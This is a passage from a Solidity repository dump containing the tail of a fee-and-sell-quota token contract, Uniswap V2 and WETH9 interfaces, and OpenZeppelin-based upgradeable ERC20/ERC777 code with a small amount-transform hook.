| // Price Support Mechanism functions 176 | 177 | function changeSellThresholdDetails(uint256 sellThreshold, uint256 rateEscalator) external onlyOwner { 178 | _sellThreshold = sellThreshold; 179 | _rateEscalator = rateEscalator; 180 | emit SellThresholdDetailsChanged(sellThreshold, rateEscalator); 181 | } 182 | 183 | function getSellThresholdDetails() external view returns(uint256, uint256) { 184 | return (_sellThreshold, _rateEscalator); 185 | } 186 | 187 | function getSellQuota() external view returns(TokenMeter memory) { 188 | return _sellQuota; 189 | } 190 | 191 | // Events 192 | 193 | event FeeRateChanged(uint256 rate); 194 | 195 | event EleemosynaryDetailsChanged(address indexed eleemosynaryAccount, uint256 donationRate); 196 | 197 | event SellThresholdDetailsChanged(uint256 sellThreshold, uint256 rateEscalator); 198 | 199 | event SellQuotaChanged(uint256 blockTimestamp, int256 amount); 200 | } -------------------------------------------------------------------------------- /src/interfaces/IUniswapV2Pair.sol: -------------------------------------------------------------------------------- 1 | interface IUniswapV2Pair { 2 | event Approval(address indexed owner, address indexed spender, uint value); 3 | event Transfer(address indexed from, address indexed to, uint value); 4 | 5 | function name() external pure returns (string memory); 6 | function symbol() external pure returns (string memory); 7 | function decimals() external pure returns (uint8); 8 | function totalSupply() external view returns (uint); 9 | function balanceOf(address owner) external view returns (uint); 10 | function allowance(address owner, address spender) external view returns (uint); 11 | 12 | function approve(address spender, uint value) external returns (bool); 13 | function transfer(address to, uint value) external returns (bool); 14 | function transferFrom(address from, address to, uint value) external returns (bool); 15 | 16 | function DOMAIN_SEPARATOR() external view returns (bytes32); 17 | function PERMIT_TYPEHASH() external pure returns (bytes32); 18 | function nonces(address owner) external view returns (uint); 19 | 20 | function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; 21 | 22 | event Mint(address indexed sender, uint amount0, uint amount1); 23 | event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); 24 | event Swap( 25 | address indexed sender, 26 | uint amount0In, 27 | uint amount1In, 28 | uint amount0Out, 29 | uint amount1Out, 30 | address indexed to 31 | ); 32 | event Sync(uint112 reserve0, uint112 reserve1); 33 | 34 | function MINIMUM_LIQUIDITY() external pure returns (uint); 35 | function factory() external view returns (address); 36 | function token0() external view returns (address); 37 | function token1() external view returns (address); 38 | function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); 39 | function price0CumulativeLast() external view returns (uint); 40 | function price1CumulativeLast() external view returns (uint); 41 | function kLast() external view returns (uint); 42 | 43 | function mint(address to) external returns (uint liquidity); 44 | function burn(address to) external returns (uint amount0, uint amount1); 45 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; 46 | function skim(address to) external; 47 | function sync() external; 48 | 49 | function initialize(address, address) external; 50 | } 51 | -------------------------------------------------------------------------------- /src/interfaces/IWETH9.sol: -------------------------------------------------------------------------------- 1 | interface IWETH9 { 2 | function deposit() external payable; 3 | function withdraw(uint wad) external; 4 | function totalSupply() external view returns (uint); 5 | function approve(address guy, uint wad) external returns (bool); 6 | function transfer(address dst, uint wad) external returns (bool); 7 | function transferFrom(address src, address dst, uint wad) external returns (bool); 8 | function balanceOf(address who) external view returns (uint); 9 | } 10 | 11 | -------------------------------------------------------------------------------- /src/proxy/utils/Initializable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (proxy/utils/Initializable.sol) 3 | 4 | pragma solidity ^0.8.2; 5 | 6 | import "../../utils/AddressUpgradeable.sol"; 7 | 8 | /** 9 | * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed 10 | * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an 11 | * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer 12 | * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. 13 | * 14 | * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be 15 | * reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in 16 | * case an upgrade adds a module that needs to be initialized. 17 | * 18 | * For example: 19 | * 20 | * [.hljs-theme-light.nopadding] 21 | * ``` 22 | * contract MyToken is ERC20Upgradeable { 23 | * function initialize() initializer public { 24 | * __ERC20_init("MyToken", "MTK"); 25 | * } 26 | * } 27 | * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable { 28 | * function initializeV2() reinitializer(2) public { 29 | * __ERC20Permit_init("MyToken"); 30 | * } 31 | * } 32 | * ``` 33 | * 34 | * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as 35 | * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. 36 | * 37 | * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure 38 | * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. 39 | * 40 | * [CAUTION] 41 | * ==== 42 | * Avoid leaving a contract uninitialized. 43 | * 44 | * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation 45 | * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke 46 | * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: 47 | * 48 | * [.hljs-theme-light.nopadding] 49 | * ``` 50 | * /// @custom:oz-upgrades-unsafe-allow constructor 51 | * constructor() { 52 | * _disableInitializers(); 53 | * } 54 | * ``` 55 | * ==== 56 | */ 57 | abstract contract Initializable { 58 | /** 59 | * @dev Indicates that the contract has been initialized. 60 | * @custom:oz-retyped-from bool 61 | */ 62 | uint8 private _initialized; 63 | 64 | /** 65 | * @dev Indicates that the contract is in the process of being initialized. 66 | */ 67 | bool private _initializing; 68 | 69 | /** 70 | * @dev Triggered when the contract has been initialized or reinitialized. 71 | */ 72 | event Initialized(uint8 version); 73 | 74 | /** 75 | * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope, 76 | * `onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`. 77 | */ 78 | modifier initializer() { 79 | bool isTopLevelCall = _setInitializedVersion(1); 80 | if (isTopLevelCall) { 81 | _initializing = true; 82 | } 83 | _; 84 | if (isTopLevelCall) { 85 | _initializing = false; 86 | emit Initialized(1); 87 | } 88 | } 89 | 90 | /** 91 | * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the 92 | * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be 93 | * used to initialize parent contracts. 94 | * 95 | * `initializer` is equivalent to `reinitializer(1)`, so a reinitializer may be used after the original 96 | * initialization step. This is essential to configure modules that are added through upgrades and that require 97 | * initialization. 98 | * 99 | * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in 100 | * a contract, executing them in the right order is up to the developer or operator. 101 | */ 102 | modifier reinitializer(uint8 version) { 103 | bool isTopLevelCall = _setInitializedVersion(version); 104 | if (isTopLevelCall) { 105 | _initializing = true; 106 | } 107 | _; 108 | if (isTopLevelCall) { 109 | _initializing = false; 110 | emit Initialized(version); 111 | } 112 | } 113 | 114 | /** 115 | * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the 116 | * {initializer} and {reinitializer} modifiers, directly or indirectly. 117 | */ 118 | modifier onlyInitializing() { 119 | require(_initializing, "Initializable: contract is not initializing"); 120 | _; 121 | } 122 | 123 | /** 124 | * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call. 125 | * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized 126 | * to any version. It is recommended to use this to lock implementation contracts that are designed to be called 127 | * through proxies. 128 | */ 129 | function _disableInitializers() internal virtual { 130 | _setInitializedVersion(type(uint8).max); 131 | } 132 | 133 | function _setInitializedVersion(uint8 version) private returns (bool) { 134 | // If the contract is initializing we ignore whether _initialized is set in order to support multiple 135 | // inheritance patterns, but we only do this in the context of a constructor, and for the lowest level 136 | // of initializers, because in other contexts the contract may have been reentered. 137 | if (_initializing) { 138 | require( 139 | version == 1 && !AddressUpgradeable.isContract(address(this)), 140 | "Initializable: contract is already initialized" 141 | ); 142 | return false; 143 | } else { 144 | require(_initialized < version, "Initializable: contract is already initialized"); 145 | _initialized = version; 146 | return true; 147 | } 148 | } 149 | } -------------------------------------------------------------------------------- /src/token/ERC20/IERC20Upgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC20 standard as defined in the EIP. 8 | */ 9 | interface IERC20Upgradeable { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Returns the amount of tokens in existence. 26 | */ 27 | function totalSupply() external view returns (uint256); 28 | 29 | /** 30 | * @dev Returns the amount of tokens owned by `account`. 31 | */ 32 | function balanceOf(address account) external view returns (uint256); 33 | 34 | /** 35 | * @dev Moves `amount` tokens from the caller's account to `to`. 36 | * 37 | * Returns a boolean value indicating whether the operation succeeded. 38 | * 39 | * Emits a {Transfer} event. 40 | */ 41 | function transfer(address to, uint256 amount) external returns (bool); 42 | 43 | /** 44 | * @dev Returns the remaining number of tokens that `spender` will be 45 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 46 | * zero by default. 47 | * 48 | * This value changes when {approve} or {transferFrom} are called. 49 | */ 50 | function allowance(address owner, address spender) external view returns (uint256); 51 | 52 | /** 53 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 54 | * 55 | * Returns a boolean value indicating whether the operation succeeded. 56 | * 57 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 58 | * that someone may use both the old and the new allowance by unfortunate 59 | * transaction ordering. One possible solution to mitigate this race 60 | * condition is to first reduce the spender's allowance to 0 and set the 61 | * desired value afterwards: 62 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 63 | * 64 | * Emits an {Approval} event. 65 | */ 66 | function approve(address spender, uint256 amount) external returns (bool); 67 | 68 | /** 69 | * @dev Moves `amount` tokens from `from` to `to` using the 70 | * allowance mechanism. `amount` is then deducted from the caller's 71 | * allowance. 72 | * 73 | * Returns a boolean value indicating whether the operation succeeded. 74 | * 75 | * Emits a {Transfer} event. 76 | */ 77 | function transferFrom( 78 | address from, 79 | address to, 80 | uint256 amount 81 | ) external returns (bool); 82 | } -------------------------------------------------------------------------------- /src/token/ERC777/ERC777Upgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC777/ERC777.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | import "./IERC777Upgradeable.sol"; 7 | import "./IERC777RecipientUpgradeable.sol"; 8 | import "./IERC777SenderUpgradeable.sol"; 9 | import "../ERC20/IERC20Upgradeable.sol"; 10 | import "../../utils/AddressUpgradeable.sol"; 11 | import "../../utils/ContextUpgradeable.sol"; 12 | import "../../utils/introspection/IERC1820RegistryUpgradeable.sol"; 13 | import "../../proxy/utils/Initializable.sol"; 14 | 15 | /** 16 | * @dev Implementation of the {IERC777} interface. 17 | * 18 | * This implementation is agnostic to the way tokens are created. This means 19 | * that a supply mechanism has to be added in a derived contract using {_mint}. 20 | * 21 | * Support for ERC20 is included in this contract, as specified by the EIP: both 22 | * the ERC777 and ERC20 interfaces can be safely used when interacting with it. 23 | * Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token 24 | * movements. 25 | * 26 | * Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there 27 | * are no special restrictions in the amount of tokens that created, moved, or 28 | * destroyed. This makes integration with ERC20 applications seamless. 29 | */ 30 | contract ERC777Upgradeable is Initializable, ContextUpgradeable, IERC777Upgradeable, IERC20Upgradeable { 31 | using AddressUpgradeable for address; 32 | 33 | IERC1820RegistryUpgradeable internal constant _ERC1820_REGISTRY = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); 34 | 35 | mapping(address => uint256) private _balances; 36 | 37 | uint256 private _totalSupply; 38 | 39 | string private _name; 40 | string private _symbol; 41 | 42 | bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender"); 43 | bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); 44 | 45 | // This isn't ever read from - it's only used to respond to the defaultOperators query. 46 | address[] private _defaultOperatorsArray; 47 | 48 | // Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators). 49 | mapping(address => bool) private _defaultOperators; 50 | 51 | // For each account, a mapping of its operators and revoked default operators. 52 | mapping(address => mapping(address => bool)) private _operators; 53 | mapping(address => mapping(address => bool)) private _revokedDefaultOperators; 54 | 55 | // ERC20-allowances 56 | mapping(address => mapping(address => uint256)) private _allowances; 57 | 58 | /** 59 | * @dev `defaultOperators` may be an empty array. 60 | */ 61 | function __ERC777_init( 62 | string memory name_, 63 | string memory symbol_, 64 | address[] memory defaultOperators_ 65 | ) internal onlyInitializing { 66 | __ERC777_init_unchained(name_, symbol_, defaultOperators_); 67 | } 68 | 69 | function __ERC777_init_unchained( 70 | string memory name_, 71 | string memory symbol_, 72 | address[] memory defaultOperators_ 73 | ) internal onlyInitializing { 74 | _name = name_; 75 | _symbol = symbol_; 76 | 77 | _defaultOperatorsArray = defaultOperators_; 78 | for (uint256 i = 0; i < defaultOperators_.length; i++) { 79 | _defaultOperators[defaultOperators_[i]] = true; 80 | } 81 | 82 | // register interfaces 83 | _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this)); 84 | _ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this)); 85 | } 86 | 87 | /** 88 | * @dev See {IERC777-name}. 89 | */ 90 | function name() public view virtual override returns (string memory) { 91 | return _name; 92 | } 93 | 94 | /** 95 | * @dev See {IERC777-symbol}. 96 | */ 97 | function symbol() public view virtual override returns (string memory) { 98 | return _symbol; 99 | } 100 | 101 | /** 102 | * @dev See {ERC20-decimals}. 103 | * 104 | * Always returns 18, as per the 105 | * [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility). 106 | */ 107 | function decimals() public pure virtual returns (uint8) { 108 | return 18; 109 | } 110 | 111 | /** 112 | * @dev See {IERC777-granularity}. 113 | * 114 | * This implementation always returns `1`. 115 | */ 116 | function granularity() public view virtual override returns (uint256) { 117 | return 1; 118 | } 119 | 120 | /** 121 | * @dev See {IERC777-totalSupply}. 122 | */ 123 | function totalSupply() public view virtual override(IERC20Upgradeable, IERC777Upgradeable) returns (uint256) { 124 | return _totalSupply; 125 | } 126 | 127 | /** 128 | * @dev Returns the amount of tokens owned by an account (`tokenHolder`). 129 | */ 130 | function balanceOf(address tokenHolder) public view virtual override(IERC20Upgradeable, IERC777Upgradeable) returns (uint256) { 131 | return _balances[tokenHolder]; 132 | } 133 | 134 | /** 135 | * @dev See {IERC777-send}. 136 | * 137 | * Also emits a {IERC20-Transfer} event for ERC20 compatibility. 138 | */ 139 | function send( 140 | address recipient, 141 | uint256 amount, 142 | bytes memory data 143 | ) public virtual override { 144 | _send(_msgSender(), recipient, amount, data, "", true); 145 | } 146 | 147 | /** 148 | * @dev See {IERC20-transfer}. 149 | * 150 | * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient} 151 | * interface if it is a contract. 152 | * 153 | * Also emits a {Sent} event. 154 | */ 155 | function transfer(address recipient, uint256 amount) public virtual override returns (bool) { 156 | _send(_msgSender(), recipient, amount, "", "", false); 157 | return true; 158 | } 159 | 160 | /** 161 | * @dev See {IERC777-burn}. 162 | * 163 | * Also emits a {IERC20-Transfer} event for ERC20 compatibility. 164 | */ 165 | function burn(uint256 amount, bytes memory data) public virtual override { 166 | _burn(_msgSender(), amount, data, ""); 167 | } 168 | 169 | /** 170 | * @dev See {IERC777-isOperatorFor}. 171 | */ 172 | function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) { 173 | return 174 | operator == tokenHolder || 175 | (_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) || 176 | _operators[tokenHolder][operator]; 177 | } 178 | 179 | /** 180 | * @dev See {IERC777-authorizeOperator}. 181 | */ 182 | function authorizeOperator(address operator) public virtual override { 183 | require(_msgSender() != operator, "ERC777: authorizing self as operator"); 184 | 185 | if (_defaultOperators[operator]) { 186 | delete _revokedDefaultOperators[_msgSender()][operator]; 187 | } else { 188 | _operators[_msgSender()][operator] = true; 189 | } 190 | 191 | emit AuthorizedOperator(operator, _msgSender()); 192 | } 193 | 194 | /** 195 | * @dev See {IERC777-revokeOperator}. 196 | */ 197 | function revokeOperator(address operator) public virtual override { 198 | require(operator != _msgSender(), "ERC777: revoking self as operator"); 199 | 200 | if (_defaultOperators[operator]) { 201 | _revokedDefaultOperators[_msgSender()][operator] = true; 202 | } else { 203 | delete _operators[_msgSender()][operator]; 204 | } 205 | 206 | emit RevokedOperator(operator, _msgSender()); 207 | } 208 | 209 | /** 210 | * @dev See {IERC777-defaultOperators}. 211 | */ 212 | function defaultOperators() public view virtual override returns (address[] memory) { 213 | return _defaultOperatorsArray; 214 | } 215 | 216 | /** 217 | * @dev See {IERC777-operatorSend}. 218 | * 219 | * Emits {Sent} and {IERC20-Transfer} events. 220 | */ 221 | function operatorSend( 222 | address sender, 223 | address recipient, 224 | uint256 amount, 225 | bytes memory data, 226 | bytes memory operatorData 227 | ) public virtual override { 228 | require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder"); 229 | _send(sender, recipient, amount, data, operatorData, true); 230 | } 231 | 232 | /** 233 | * @dev See {IERC777-operatorBurn}. 234 | * 235 | * Emits {Burned} and {IERC20-Transfer} events. 236 | */ 237 | function operatorBurn( 238 | address account, 239 | uint256 amount, 240 | bytes memory data, 241 | bytes memory operatorData 242 | ) public virtual override { 243 | require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder"); 244 | _burn(account, amount, data, operatorData); 245 | } 246 | 247 | /** 248 | * @dev See {IERC20-allowance}. 249 | * 250 | * Note that operator and allowance concepts are orthogonal: operators may 251 | * not have allowance, and accounts with allowance may not be operators 252 | * themselves. 253 | */ 254 | function allowance(address holder, address spender) public view virtual override returns (uint256) { 255 | return _allowances[holder][spender]; 256 | } 257 | 258 | /** 259 | * @dev See {IERC20-approve}. 260 | * 261 | * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on 262 | * `transferFrom`. This is semantically equivalent to an infinite approval. 263 | * 264 | * Note that accounts cannot have allowance issued by their operators. 265 | */ 266 | function approve(address spender, uint256 value) public virtual override returns (bool) { 267 | address holder = _msgSender(); 268 | _approve(holder, spender, value); 269 | return true; 270 | } 271 | 272 | /** 273 | * @dev See {IERC20-transferFrom}. 274 | * 275 | * NOTE: Does not update the allowance if the current allowance 276 | * is the maximum `uint256`. 277 | * 278 | * Note that operator and allowance concepts are orthogonal: operators cannot 279 | * call `transferFrom` (unless they have allowance), and accounts with 280 | * allowance cannot call `operatorSend` (unless they are operators). 281 | * 282 | * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events. 283 | */ 284 | function transferFrom( 285 | address holder, 286 | address recipient, 287 | uint256 amount 288 | ) public virtual override returns (bool) { 289 | address spender = _msgSender(); 290 | _spendAllowance(holder, spender, amount); 291 | _send(holder, recipient, amount, "", "", false); 292 | return true; 293 | } 294 | 295 | /** 296 | * @dev Creates `amount` tokens and assigns them to `account`, increasing 297 | * the total supply. 298 | * 299 | * If a send hook is registered for `account`, the corresponding function 300 | * will be called with `operator`, `data` and `operatorData`. 301 | * 302 | * See {IERC777Sender} and {IERC777Recipient}. 303 | * 304 | * Emits {Minted} and {IERC20-Transfer} events. 305 | * 306 | * Requirements 307 | * 308 | * - `account` cannot be the zero address. 309 | * - if `account` is a contract, it must implement the {IERC777Recipient} 310 | * interface. 311 | */ 312 | function _mint( 313 | address account, 314 | uint256 amount, 315 | bytes memory userData, 316 | bytes memory operatorData 317 | ) internal virtual { 318 | _mint(account, amount, userData, operatorData, true); 319 | } 320 | 321 | /** 322 | * @dev Creates `amount` tokens and assigns them to `account`, increasing 323 | * the total supply. 324 | * 325 | * If `requireReceptionAck` is set to true, and if a send hook is 326 | * registered for `account`, the corresponding function will be called with 327 | * `operator`, `data` and `operatorData`. 328 | * 329 | * See {IERC777Sender} and {IERC777Recipient}. 330 | * 331 | * Emits {Minted} and {IERC20-Transfer} events. 332 | * 333 | * Requirements 334 | * 335 | * - `account` cannot be the zero address. 336 | * - if `account` is a contract, it must implement the {IERC777Recipient} 337 | * interface. 338 | */ 339 | function _mint( 340 | address account, 341 | uint256 amount, 342 | bytes memory userData, 343 | bytes memory operatorData, 344 | bool requireReceptionAck 345 | ) internal virtual { 346 | require(account != address(0), "ERC777: mint to the zero address"); 347 | 348 | address operator = _msgSender(); 349 | 350 | _beforeTokenTransfer(operator, address(0), account, amount); 351 | 352 | // Update state variables 353 | _totalSupply += amount; 354 | _balances[account] += amount; 355 | 356 | _callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck); 357 | 358 | amount = _transformAmount(amount); 359 | emit Minted(operator, account, amount, userData, operatorData); 360 | emit Transfer(address(0), account, amount); 361 | } 362 | 363 | /** 364 | * @dev Send tokens 365 | * @param from address token holder address 366 | * @param to address recipient address 367 | * @param amount uint256 amount of tokens to transfer 368 | * @param userData bytes extra information provided by the token holder (if any) 369 | * @param operatorData bytes extra information provided by the operator (if any) 370 | * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient 371 | */ 372 | function _send( 373 | address from, 374 | address to, 375 | uint256 amount, 376 | bytes memory userData, 377 | bytes memory operatorData, 378 | bool requireReceptionAck 379 | ) internal virtual { 380 | require(from != address(0), "ERC777: transfer from the zero address"); 381 | require(to != address(0), "ERC777: transfer to the zero address"); 382 | 383 | address operator = _msgSender(); 384 | 385 | _callTokensToSend(operator, from, to, amount, userData, operatorData); 386 | 387 | _move(operator, from, to, amount, userData, operatorData); 388 | 389 | _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck); 390 | } 391 | 392 | /** 393 | * @dev Burn tokens 394 | * @param from address token holder address 395 | * @param amount uint256 amount of tokens to burn 396 | * @param data bytes extra information provided by the token holder 397 | * @param operatorData bytes extra information provided by the operator (if any) 398 | */ 399 | function _burn( 400 | address from, 401 | uint256 amount, 402 | bytes memory data, 403 | bytes memory operatorData 404 | ) internal virtual { 405 | require(from != address(0), "ERC777: burn from the zero address"); 406 | 407 | address operator = _msgSender(); 408 | 409 | _callTokensToSend(operator, from, address(0), amount, data, operatorData); 410 | 411 | _beforeTokenTransfer(operator, from, address(0), amount); 412 | 413 | // Update state variables 414 | uint256 fromBalance = _balances[from]; 415 | require(fromBalance >= amount, "ERC777: burn amount exceeds balance"); 416 | unchecked { 417 | _balances[from] = fromBalance - amount; 418 | } 419 | _totalSupply -= amount; 420 | 421 | amount = _transformAmount(amount); 422 | emit Burned(operator, from, amount, data, operatorData); 423 | emit Transfer(from, address(0), amount); 424 | } 425 | 426 | function _move( 427 | address operator, 428 | address from, 429 | address to, 430 | uint256 amount, 431 | bytes memory userData, 432 | bytes memory operatorData 433 | ) private { 434 | _beforeTokenTransfer(operator, from, to, amount); 435 | 436 | uint256 fromBalance = _balances[from]; 437 | require(fromBalance >= amount, "ERC777: transfer amount exceeds balance"); 438 | unchecked { 439 | _balances[from] = fromBalance - amount; 440 | } 441 | _balances[to] += amount; 442 | 443 | amount = _transformAmount(amount); 444 | emit Sent(operator, from, to, amount, userData, operatorData); 445 | emit Transfer(from, to, amount); 446 | } 447 | 448 | /** 449 | * @dev See {ERC20-_approve}. 450 | * 451 | * Note that accounts cannot have allowance issued by their operators. 452 | */ 453 | function _approve( 454 | address holder, 455 | address spender, 456 | uint256 value 457 | ) internal virtual { 458 | require(holder != address(0), "ERC777: approve from the zero address"); 459 | require(spender != address(0), "ERC777: approve to the zero address"); 460 | 461 | _allowances[holder][spender] = value; 462 | emit Approval(holder, spender, _transformAmount(value)); 463 | } 464 | 465 | /** 466 | * @dev Transform amount 467 | * @param amount uint256 amount of tokens to transform 468 | */ 469 | function _transformAmount(uint256 amount) internal virtual returns (uint256) { 470 | return amount; 471 | } 472 | 473 | /** 474 | * @dev Call from.tokensToSend() if the interface is registered 475 | * @param operator address operator requesting the transfer 476 | * @param from address token holder address 477 | * @param to address recipient address 478 | * @param amount uint256 amount of tokens to transfer 479 | * @param userData bytes extra information provided by the token holder (if any) 480 | * @param operatorData bytes extra information provided by the operator (if any) 481 | */ 482 | function _callTokensToSend( 483 | address operator, 484 | address from, 485 | address to, 486 | uint256 amount, 487 | bytes memory userData, 488 | bytes memory operatorData 489 | ) private { 490 | address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH); 491 | if (implementer != address(0)) { 492 | IERC777SenderUpgradeable(implementer).tokensToSend(operator, from, to, amount, userData, operatorData); 493 | } 494 | } 495 | 496 | /** 497 | * @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but 498 | * tokensReceived() was not registered for the recipient 499 | * @param operator address operator requesting the transfer 500 | * @param from address token holder address 501 | * @param to address recipient address 502 | * @param amount uint256 amount of tokens to transfer 503 | * @param userData bytes extra information provided by the token holder (if any) 504 | * @param operatorData bytes extra information provided by the operator (if any) 505 | * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient 506 | */ 507 | function _callTokensReceived( 508 | address operator, 509 | address from, 510 | address to, 511 | uint256 amount, 512 | bytes memory userData, 513 | bytes memory operatorData, 514 | bool requireReceptionAck 515 | ) private { 516 | address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH); 517 | if (implementer != address(0)) { 518 | IERC777RecipientUpgradeable(implementer).tokensReceived(operator, from, to, amount, userData, operatorData); 519 | } else if (requireReceptionAck) { 520 | require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient"); 521 | } 522 | } 523 | 524 | /** 525 | * @dev Updates `owner` s allowance for `spender` based on spent `amount`. 526 | * 527 | * Does not update the allowance amount in case of infinite allowance. 528 | * Revert if not enough allowance is available. 529 | * 530 | * Might emit an {Approval} event. 531 | */ 532 | function _spendAllowance( 533 | address owner, 534 | address spender, 535 | uint256 amount 536 | ) internal virtual { 537 | uint256 currentAllowance = allowance(owner, spender); 538 | if (currentAllowance != type(uint256).max) { 539 | require(currentAllowance >= amount, "ERC777: insufficient allowance"); 540 | unchecked { 541 | _approve(owner, spender, currentAllowance - amount); 542 | } 543 | } 544 | } 545 | 546 | /** 547 | * @dev Hook that is called before any token transfer. This includes 548 | * calls to {send}, {transfer}, {operatorSend}, minting and burning. 549 | * 550 | * Calling conditions: 551 | * 552 | * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens 553 | * will be to transferred to `to`. 554 | * - when `from` is zero, `amount` tokens will be minted for `to`. 555 | * - when `to` is zero, `amount` of ``from``'s tokens will be burned. 556 | * - `from` and `to` are never both zero. 557 | * 558 | * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. 559 | */ 560 | function _beforeTokenTransfer( 561 | address operator, 562 | address from, 563 | address to, 564 | uint256 amount 565 | ) internal virtual {} 566 | 567 | /** 568 | * @dev This empty reserved space is put in place to allow future versions to add new 569 | * variables without shifting down storage in the inheritance chain. 570 | * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps 571 | */ 572 | uint256[41] private __gap; 573 | } 574 | -------------------------------------------------------------------------------- /src/token/ERC777/IERC777RecipientUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC777TokensRecipient standard as defined in the EIP. 8 | * 9 | * Accounts can be notified of {IERC777} tokens being sent to them by having a 10 | * contract implement this interface (contract holders can be their own 11 | * implementer) and registering it on the 12 | * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry]. 13 | * 14 | * See {IERC1820Registry} and {ERC1820Implementer}. 15 | */ 16 | interface IERC777RecipientUpgradeable { 17 | /** 18 | * @dev Called by an {IERC777} token contract whenever tokens are being 19 | * moved or created into a registered account (`to`). The type of operation 20 | * is conveyed by `from` being the zero address or not. 21 | * 22 | * This call occurs _after_ the token contract's state is updated, so 23 | * {IERC777-balanceOf}, etc., can be used to query the post-operation state. 24 | * 25 | * This function may revert to prevent the operation from being executed. 26 | */ 27 | function tokensReceived( 28 | address operator, 29 | address from, 30 | address to, 31 | uint256 amount, 32 | bytes calldata userData, 33 | bytes calldata operatorData 34 | ) external; 35 | } -------------------------------------------------------------------------------- /src/token/ERC777/IERC777SenderUpgradeable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC777TokensSender standard as defined in the EIP. 8 | * 9 | * {IERC777} Token holders can be notified of operations performed on their 10 | * tokens by having a contract implement this interface (contract holders can be 11 | * their own implementer) and registering it on the 12 | * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global 